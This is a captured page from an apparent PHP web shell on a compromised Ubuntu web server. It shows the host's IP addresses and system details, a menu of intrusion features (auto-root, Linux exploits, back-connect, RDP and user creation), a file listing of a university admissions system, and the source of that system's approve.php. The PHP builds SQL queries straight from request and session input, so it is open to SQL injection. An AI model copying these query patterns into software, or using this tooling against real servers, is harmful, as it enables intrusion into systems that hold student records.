Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.224.57.25
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vskub /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
20.36
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
PrintApplicationFormAdmPOSTOFF...
14.8
KB
-rwxr-xr-x
PrintApplicationFormPOSTOFFICE...
26.92
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
6.93
KB
-rwxr-xr-x
absent_entry_setupQpold.php
7.03
KB
-rwxr-xr-x
ack_exam_app_form.php
12.08
KB
-rwxr-xr-x
ack_registration.php
7.77
KB
-rwxr-xr-x
ack_rv_rt_application.php
7.55
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_challan_entries.php
13.83
KB
-rwxr-xr-x
admchallanpreparation.php
8.67
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
9.15
KB
-rwxr-xr-x
applicationFormReportPOSTOFFIC...
25.93
KB
-rwxr-xr-x
approve.php
19.63
KB
-rwxr-xr-x
approve_07082018.php
19.63
KB
-rwxr-xr-x
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
2.73
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.26
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
challan_entries.php
15.38
KB
-rwxr-xr-x
challan_preparation.php
11.57
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_approve.php
5.61
KB
-rwxr-xr-x
college_approve22092016.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
connect.php
2.11
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.8
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
display_details_in_grid.php
107.46
KB
-rwxr-xr-x
display_details_in_grid2309201...
102.1
KB
-rwxr-xr-x
display_details_in_grid_260620...
102.25
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
6.99
KB
-rwxr-xr-x
download_misc_files.php
3.62
KB
-rwxr-xr-x
download_photo.php
3.7
KB
-rwxr-xr-x
download_photo_org.php
3.55
KB
-rwxr-xr-x
download_photo_vskub_09082018....
3.75
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.85
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.92
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
33.47
KB
-rwxr-xr-x
getdata24092016.php
27.38
KB
-rwxr-xr-x
getdata_14072018.php
33.37
KB
-rwxr-xr-x
getdata_26062018.php
32.81
KB
-rwxr-xr-x
getdataold.php
28.84
KB
-rwxr-xr-x
getfeeinformation.php
6.89
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
7.69
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
953
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
76.85
KB
-rwxr-xr-x
mregistry_07082018.php
76.66
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_hall_ticket.php
11.18
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.26
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
student.php
57.95
KB
-rwxr-xr-x
student081220.php
57.42
KB
-rwxr-xr-x
student_14072018.php
49.73
KB
-rwxr-xr-x
student_15062018.php
43.96
KB
-rwxr-xr-x
student_entry.php
65.38
KB
-rwxr-xr-x
student_entry11092016.php
43.86
KB
-rwxr-xr-x
student_entry_081220.php
63.12
KB
-rwxr-xr-x
student_entry_14072018.php
59.89
KB
-rwxr-xr-x
student_entry_25102019.php
60.41
KB
-rwxr-xr-x
student_entry_befor_kswu.php
59.92
KB
-rwxr-xr-x
student_entry_old.php
59.8
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
studentold.php
43.92
KB
-rwxr-xr-x
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
18.94
KB
-rwxr-xr-x
subjectfreez.php
12.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
76.51
KB
-rwxr-xr-x
teachers.php
16.55
KB
-rwxr-xr-x
teachersOLD.php
10.33
KB
-rwxr-xr-x
teachers_04092019.php
13.65
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
3.82
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : approve.php
<?php function GetAllSelectDropdown($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $degreecode = $aobj_context->mobj_data["degree"]; $collcode = $_SESSION['collcode']; if($collcode == 'LSYS' || 'VKU') $collegeList="SELECT FCOLLCODE as internal_code, concat(FCOLLCODE,' - ',FCOLLNAME,' , ',FTOWN) as value from college order by FCOLLNAME"; else { $collegeList="SELECT FCOLLCODE as internal_code, concat(FCOLLCODE,' - ',FCOLLNAME,' , ',FTOWN) as value from college where FCOLLCODE = '{$collcode}'"; } $lobj_collegeList = $aobj_context->mobj_db->getAll($collegeList); if($lobj_collegeList) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_collegeList,0,"success"); } else { $data = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function GetCollegeDegreeDropdown($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = $aobj_context->mobj_data["collcode"]; $degreeList="SELECT distinct c.FDEGREE as internal_code, d.FDESCPN as value from colldeg c inner join degree d on c.FDEGREE = d.FDEGREE inner join mascomb m where fcollcode='{$collcode}' and IFNULL(c.FDELETED,'F') <> 'T' and m.FDEGREE = c.FDEGREE order by c.FDEGREE"; $lobj_degreeList = $aobj_context->mobj_db->getAll($degreeList); if($lobj_degreeList) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_degreeList,0,"success"); } else { $data = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function GetCollegeDegreeCombDropdown($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = $aobj_context->mobj_data["collcode"]; $degreeList="SELECT distinct c.FDEGREE as internal_code, d.FDESCPN as value from colldeg c inner join degree d on c.FDEGREE = d.FDEGREE where fcollcode='{$collcode}' and IFNULL(c.FDELETED,'F') <> 'T' order by c.FDEGREE"; $lobj_degreeList = $aobj_context->mobj_db->getAll($degreeList); if($lobj_degreeList) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_degreeList,0,"success"); } else { $data = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function GetAdmissionList($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = trim($aobj_context->mobj_data["collcode"]); $degcode = trim($aobj_context->mobj_data["degcode"]); $combcode = trim($aobj_context->mobj_data["combcode"]); $apprstatus = trim($aobj_context->mobj_data["apprstatus"]); if($collcode == 'All' && $degcode == 'All' && $combcode == 'All' && $apprstatus == 'All') { $serchAll = ''; } else { $serchAll = 'Where'; } $searchColl = ''; if($collcode != 'All') { $searchColl = "s.FCOLLCODE='{$collcode}'"; } $searchDegree = ''; if($degcode != 'All') { $searchDegree = "and s.FDEGREE='{$degcode}'"; } $searchComb = ''; if($combcode != 'All') { $searchComb = "and FCOMBCODE='{$combcode}'"; } $searchAppr = ''; if($apprstatus != 'All') { $searchAppr = "and FAPPRSTATUS='{$apprstatus}'"; } $admlist = "select s.*, c.FCOLLNAME from studadm s inner join college c on c.FCOLLCODE = s.FCOLLCODE {$serchAll} {$searchColl} {$searchDegree} {$searchComb} {$searchAppr}"; $lobj_admList = $aobj_context->mobj_db->getAll($admlist); $Table_Header.="<table cellspacing='0' width='900px' class='tr_ventor_row' cellpadding='0' border='0' >"; $Table_Header.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $Table_Header.="<td style='padding:2px; width:60px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>SL No</center></td>"; $Table_Header.="<td style='padding:2px; width:60px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Photo</center></td>"; $Table_Header.="<td style='padding:2px; width:80px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Admission No</center></td>"; $Table_Header.="<td style='padding:2px; width:300px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Student Name</td>"; $Table_Header.="<td style='padding:2px; width:30px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Gender</center></td>"; $Table_Header.="<td style='padding:2px; width:300px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>College Name</td>"; $Table_Header.="<td style='padding:2px; width:30px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Degree</td>"; $Table_Header.="<td style='padding:2px; width:30px; border:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Combination</td>"; $Table_Header.="</tr>"; $index=0; foreach($lobj_admList as $key=>$val) { ++$index; $border_bottom=""; if($cnt==count($lobj_admList)) $border_bottom="border-bottom:1px solid #ccc;"; $data_details.="<tr class={$class} style='font-size:20px;' >"; $data_details.="<td align=center style='border:1px solid #ccc; {$border_bottom} border-left:1px solid #ccc; padding:2px;font-size:16px;'>{$index}</td>"; $data_details.="<td align=center style='border:1px solid #ccc; {$border_bottom} border-left:1px solid #ccc; padding:2px;font-size:16px;'><img width='60px' height='60px' src='{$val[FPHOTOPATH]}'/></td>"; $data_details.="<td align=center style='border:1px solid #ccc; {$border_bottom} border-left:1px solid #ccc; padding:2px;font-size:16px;'>{$val[FSLNO]}</td>"; $data_details.="<td align='left' style='border:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;font-size:16px;'><a href='#' style='text-decoration:none;color:blue;' onclick=ViewStudentDetailsForApprove('{$val[FSLNO]}','{$val[FDEGREE]}','{$val[FCOLLCODE]}')>{$val[FNAME]}</a></td>"; $data_details.="<td align='center' style='border:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;font-size:16px;'>{$val[fgender]}</td>"; $data_details.="<td style='border:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;font-size:16px;'>{$val[FCOLLNAME]}</td>"; $data_details.="<td align=center style='{$border_bottom} border:1px solid #ccc; font-size:16px;'>{$val[FDEGREE]}</td>"; $data_details.="<td align=center style='{$border_bottom} border:1px solid #ccc; font-size:16px;'>{$val[FCOMBCODE]}</td>"; $data_details.="</tr>"; $cnt++; } $e_data=$Table_Header.$data_details; echo $aobj_context->mobj_output->ToJSONEnvelope($e_data,0,"success"); } function getAppStudentDetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); //and FDELETED = 'F' $sl_no = "0000".$aobj_context->mobj_data["sl_no"]; $degree = $aobj_context->mobj_data["degree"]; $collcode = $aobj_context->mobj_data["collcode"]; $sl_no=substr($sl_no, -4); $degree = $aobj_context->mobj_data["degree"]; $get_student_details_slno = "select s.*, s.FSLNO,s.FDEGREE,d.FDESCPN,s.FEXAMNO,s.FCOLLCODE,s.FNAME, s.FFATNAME,s.FMOTNAME,DATE_FORMAT(s.FDOB,'%d/%m/%Y') as FDOBirth ,FCATBIRTH, s.Fgender,s.FCASTE,s.FNATIONAL,s.FENGLISH,s.FCURRADD1, REG_FEE,EXAM_FEE,GRADE_CARD_FEE,TOTAL_FEE, s.FCURRADD2,s.FCURRADD3,s.FCURRADD4,s.FPERMADD1,s.FPERMADD2,s.FPERMADD3,s.FPERMADD4,DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMISDATE, s.FSUBDEGREE,s.FPHOTOPATH,s.FLATERAL_ENTRY,s.FBLOOD_GROUP,s.FCONTACT_NO,s.FEMAIL,s.FMOT_OCC,s.FFAT_OCC, s.FREC_ORDER_NO,DATE_FORMAT(s.FREC_ORDER_DATE,'%d/%m/%Y') as FREC_ORDER_DATE, s.FAFF_ORDER_NO,DATE_FORMAT(s.FAFF_ORDER_DATE,'%d/%m/%Y') as FAFF_ORDER_DATE, s.FRELIGION,ifnull(s.FDELETED,'F') as FDELETED,FFEEPAID,FRECNO,date_format(FRECDATE,'%d/%m/%Y') as FRECDATE, FREMARKS,FCOMBCODE,FMOBILE_NO,ifnull(FPASSMNTH,'') as FPASSMNTH,ifnull(FPASSYER,'') as FPASSYER,ifnull(FMARKSECURED,'') as FMARKSECURED, ifnull(FMARKTOTAL,'') as FMARKTOTAL, ifnull(FPERMARK,'') as FPERMARK from studadm s inner join degree d on d.FDEGREE=s.FDEGREE where s.FSLNO='{$sl_no}' and s.FDEGREE='{$degree}' and s.FCOLLCODE='{$collcode}' and d.FEXAMNO='A'"; $lobj_get_student_details = $aobj_context->mobj_db->getRow($get_student_details_slno); //var_dump($lobj_get_student_details); die(); //echo $get_student_details_slno; die(); if(!empty($lobj_get_student_details) && $lobj_get_student_details[FDELETED] == 'F' ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,0,"success"); return; } else if(!empty($lobj_get_student_details) && $lobj_get_student_details[FDELETED] == 'T' ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,-1,"Disabled"); return; } else if(empty($lobj_get_student_details) ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,-2,"Failure"); return; } } function getAppStudsubApprTotal($aobj_context) { session_start(); $degree_code = $aobj_context->mobj_data["degree_code"]; $exam = $aobj_context->mobj_data["exam"]; $sl_no = $aobj_context->mobj_data["sl_no"]; $collcode = $aobj_context->mobj_data["collcode"]; $sub_degree = trim($aobj_context->mobj_data["sub_degree"]); $combination = trim($aobj_context->mobj_data["combination"]); $degree_code=(!empty($sub_degree))?$sub_degree:$degree_code; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $get_sub_total=" select FTOTSUB from degree where FDEGREE= '{$degree_code}' and FEXAMNO='{$exam}'"; $lobj_sub_total = $aobj_context->mobj_db->getRow($get_sub_total); $total_sub=$lobj_sub_total['FTOTSUB']; //echo $total_sub; die(); $get_exsting_data=" select a.*,b.FSUBNAME,b.FSUBSHORT,FMANDATORY from (select FDEGREE,FEXAMNO,FCOLLCODE,FSLNO,FSUBCODE from options where FSLNO='{$sl_no}' and FCOLLCODE='{$collcode}' and FEXAMNO='{$exam}' and FDEGREE='{$degree_code}') a left join (select s.FDEGREE, FSUBCODE,FSUBNAME,FSUBSHORT ,FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}') b on a.FSUBCODE=b.FSUBCODE and a.FDEGREE=b.FDEGREE group by FSUBCODE limit {$total_sub} "; $lobj_get_exsting_data = $aobj_context->mobj_db->getAll($get_exsting_data); // get true sub Names $get_true_sub_names="select FSUBCODE,FSUBNAME,FSUBSHORT ,FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' and FMANDATORY='T' union select s.FSUBCODE,s.FSUBNAME,s.FSUBSHORT ,'T' as FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO left join mascomb m on m.fcombcode = '{$combination}' where d.FDEGREE='{$degree_code}' and INSTR(m.FSUBCODE, s.FSUBCODE) group by s.FSUBCODE"; $lobj_get_true_sub_names = $aobj_context->mobj_db->getAll($get_true_sub_names); $e_data.="<table width='94%' class='tr_ventor_row' cellspacing='0' cellpadding='0' border='0' >"; //$e_data.="<th align='left' colspan='3' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Subjects Appearing</th>"; $e_data.="<tr style='font-size:12px;' class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:60px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sub Code</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Short Name</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Subject Name</td>"; $e_data.="</tr>"; $k=0; $id=0; if(empty($lobj_get_exsting_data)) { $remaining_count=$total_sub-count($lobj_get_true_sub_names); //echo 'aa'; foreach($lobj_get_true_sub_names as $key=>$value) { /* if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } */ $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow'>"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'><input tabindex=-1 {$inp_class} type=text style='width:60px;border:none;' readonly id='se_sub_code_{$id}' value='{$value[FSUBCODE]}' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);'></td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type=text style='border:none;width:60px;' {$inp_class} tabindex=-1 readonly id='se_short_name_{$id}' value='{$value[FSUBSHORT]}'></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type=text style='border:none;width:290px;' {$inp_class} id='se_sub_name_{$id}' tabindex=-1 readonly value='{$value[FSUBNAME]}'> </td>"; $e_data.="</tr>"; $k++; $id++; } $name=''; if($pmode == 0) { $last_slno_execution =" select s.FSUBCODE, s.FSUBSHORT, s.FSUBNAME from subject s inner join options d on s.FDEGREE=d.FDEGREE and s.FEXAMNO=d.FEXAMNO and d.fsubcode = s.fsubcode and d.FCOLLCODE='{$college_code}' and s.fssubname != 'I.A.' and s.FMANDATORY = 'F' and s.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' and d.fslno = ( select MAX(s.fslno) from studadm s where s.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' AND FCOLLCODE='{$college_code}' ) group by s.FSUBCODE "; $lobj_last_slno_execution = $aobj_context->mobj_db->getAll($last_slno_execution); } // var_dump($lobj_last_slno_execution); die(); for($j=0;$j<$remaining_count;$j++) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if($j==0) $name="name='focus'"; else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:1px;'><input type='text' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' value='{$lobj_last_slno_execution[$j][FSUBCODE]}' onfocus=\$g_focus_element='se_sub_code_{$id}' {$name} onblur='getSubDetails(this.id,{$id});' align='center' style = 'width:60px;' maxlength='4' id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:60px;border:none;' id='se_short_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBSHORT]}' ></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:290px;border:none;' id='se_sub_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBNAME]}' ></td>"; $e_data.="</tr>"; $k++; $id++; } } else { $flag=0; $remaining_count=$total_sub-count($lobj_get_exsting_data); for($h=0;$h<count($lobj_get_exsting_data);$h++) { $read_only=($lobj_get_exsting_data[$h]['FMANDATORY']=='T')?"readOnly":''; $border=($lobj_get_exsting_data[$h]['FMANDATORY']=='T')?" border:none;":''; $on_blur =($lobj_get_exsting_data[$h]['FMANDATORY']=='F')?" onblur='getSubDetails( this.id,{$id});' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' ":''; $focus_id =($lobj_get_exsting_data[$h]['FMANDATORY']=='F')?" onfocus=\$g_focus_element='se_sub_code_{$id}' ":''; if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if(($lobj_get_exsting_data[$h]['FMANDATORY']=='F') && $flag==0) { $name="name='focus'"; $flag=1; }else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center'style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; padding:1px;'><input type='text' {$input_class} {$on_blur } {$name} {$read_only} align='center' {$focus_id} value='{$lobj_get_exsting_data[$h]['FSUBCODE']}' disabled style = 'width:60px;{$border}'id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} style = 'width:60px;border:none;' {$inp_class} value='{$lobj_get_exsting_data[$h]['FSUBSHORT']}' id='se_short_name_{$id}'></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} style = 'width:290px;border:none;' {$inp_class} value='{$lobj_get_exsting_data[$h]['FSUBNAME']}' id='se_sub_name_{$id}'></td>"; $e_data.="</tr>"; $k++; $id++; } $k=0; for($j=0;$j<$remaining_count;$j++) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if($j==0) $name="name='focus'"; else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:1px;'><input type='text' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' value='{$lobj_last_slno_execution[$j][FSUBCODE]}' onfocus=\$g_focus_element='se_sub_code_{$id}' {$name} onblur='getSubDetails(this.id,{$id});' align='center' style = 'width:60px;' maxlength='4' id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:60px;border:none;' id='se_short_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBSHORT]}' ></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:290px;border:none;' id='se_sub_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBNAME]}' ></td>"; $e_data.="</tr>"; $k++; $id++; } } $e_data.="</table>"; $arr['html']=$e_data; $arr['table_data']=$lobj_get_true_sub_names; $arr['remaining_count']=$remaining_count; $arr['total_count']=$id; // var_dump($arr['total_count']); die(); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function updateAdmissionStatus($aobj_context) { session_start(); $u_id = $_SESSION['user_id']; $log_name = $_SESSION['usr']; $degree_code = $aobj_context->mobj_data["degree"]; $collcode = $aobj_context->mobj_data["collcode"]; $sl_no = $aobj_context->mobj_data["sl_no"]; $appstatus = trim($aobj_context->mobj_data["appstatus"]); $updateAdmStatus="update studadm set FAPPRSTATUS = '{$appstatus}',FAPPRDATE =now(),FAPPRUSERNAME = '{$log_name}', FAPPRUSERID = '{$u_id}' where FCOLLCODE = '{$collcode}' and FDEGREE = '{$degree_code}' and FSLNO = '{$sl_no}'"; $lobj_updateAdmStatus = $aobj_context->mobj_db->Execute($updateAdmStatus); if($lobj_updateAdmStatus) { $data = 'Status Updated Succesfully'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); } else { $data = ''; echo $aobj_context->mobj_output->ToJSONEnvelope($updateAdmStatus,-1,"failure"); } } ?>
Close
